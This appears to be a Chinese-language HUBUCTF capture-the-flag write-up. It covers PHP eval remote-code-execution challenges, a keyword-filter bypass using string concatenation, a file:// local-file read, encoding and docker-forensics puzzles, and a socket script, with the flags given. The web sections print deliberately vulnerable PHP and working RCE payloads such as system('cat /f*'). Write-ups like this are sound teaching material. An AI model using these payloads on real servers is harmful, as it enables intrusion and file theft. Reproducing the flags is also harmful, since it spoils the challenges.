ez_eval
<?php
highlight_file(__FILE__);
error_reporting(0);
$hubu = $_GET['hubu'];
eval($hubu);
?>
先进行代码审计,GET传参hubu,并执行命令,没有任何绕过,放开手脚去做
payload:
?hubu=system('cat /f*'); #直接rce
rce_level1
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
代码审计,发现过滤了关键字flag,system,php。
使用拼接绕过构造payload:
?c=('sys'.'tem')(ls); #发现目录下没有flag文件
?c=('sys'.'tem')(cat /f*); #发现回显空白
不在文件夹里,那可能是在phpinfo里
payload:
?c=phpinfo();
没回显…根据代码的过滤可以知道,应该只过滤了三个关键字,可其实并不只过滤了这三个关键字。
经过测试,发现有隐藏过滤,比如关键字php,和一些字符如反斜杠\
最后的payload:
?c=('ph'.'pinfo')();
在页面中找到flag。
ez_LFI
考点:伪协议
先随便传一个,/?url=111
代码审计,根据网上查询的parse_url()函数的资料显示:
解析 URL,返回其组成部分,如下:
<?php
$url = 'http://username:password@hostname/path?arg=value#anchor';
print_r(parse_url($url));
echo parse_url($url, PHP_URL_PATH);
?>
结果----------------------------------------------------------------------------------------------------
Array
(
[scheme] => http
[host] => hostname
[user] => username
[pass] => password
[path] => /path
[query] => arg=value
[fragment] => anchor
)
所以必须在传入的url参数中让[host]是localhost。
然后再用file协议读取flag。
payload:
/?url=file://localhost/flag
HUBUCTF{22290581-9558-4405-9c01-368dc660bf6a}
Misc
Cute Rabbit
考点:rabbit编码
VTJGc2RHVmtYMS91RnhkczF5SU1jdit1K3o0NzFCcDR2aXcrVkNNaS9TU1QyZU5EMFUvSQo=
签到题,根据题目提示,是rabbit编码,密文末尾的=表示可能是base64,所以是
base64 -> rabbit
HUBUCTF{S0_<u73_R4b6it}
Docker Forensic
考点:docker的使用
根据题目提示,先拉取镜像
docker pull crpi-i24jskxbbxvfxlzp.cn-hangzhou.personal.cr.aliyuncs.com/st4rry/aliyun:ez_docker_forensic
将镜像压缩到本地
将文件解压到一个目录下,然后切换到该目录。在该目录下有个sha256文件夹,把里面的文件解压
在tmp中找到password
退级,在解压后的一个文件夹里找到flag.txt
使用了加盐算法,密钥就是上面的password,进行解密
HUBUCTF{1_L0v3_D0ck3r_F0r3ns1c_A}
SpeedMath
考点:nc连接,python脚本
先用nc连接
发现会出现算数题目,但是给你输入的时间很短,所以几乎不可能手工做,直接问AI写脚本
import socket
import re
def solve_arithmetic_expression(expression):
"""
解析并计算算术表达式的结果。
这里假设表达式只包含整数和基本的加减乘除运算。
"""
try:
# 使用eval计算表达式的结果,但注意eval的安全性问题
# 在实际应用中,应该使用更安全的解析方法
result = eval(expression)
return result
except Exception as e:
print(f"Error evaluating expression '{expression}': {e}")
return None
def nc_connection(host, port):
"""
使用Netcat连接到服务器,并自动解答算术题。
"""
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((host, port))
while True:
# 读取服务器发送的数据
data = s.recv(1024).decode('utf-8').strip()
if not data:
# 如果没有接收到数据,可能是连接已经关闭
break
print(f"Received: {data}")
# 使用正则表达式匹配算术题目
match = re.match(r'Question \d+: (\d+) ([+\-*/]) (\d+) =', data)
if match:
num1 = int(match.group(1))
operator = match.group(2)
num2 = int(match.group(3))
# 构造算术表达式
expression = f"{num1} {operator} {num2}"
# 计算正确答案
correct_answer = solve_arithmetic_expression(expression)
if correct_answer is not None:
# 将答案发送回服务器(假设服务器期望的是整数答案)
s.sendall(f"{correct_answer}\n".encode('utf-8'))
else:
# 如果无法计算表达式,则退出循环
print("Failed to solve expression.")
break
else:
# 如果不是算术题目,可能是其他信息或结束信息
# 这里假设服务器在发送完所有题目后会发送一个非算术题目的消息
print("Received non-arithmetic message, possibly final message.")
print(f"Final message: {data}")
break
# 使用示例
nc_connection('challenge.hubuctf.cn', 32478) # 替换为你的服务器主机名和端口号
HUBUCTF{72e53365-bf9c-48db-8327-83b9c9269e7d}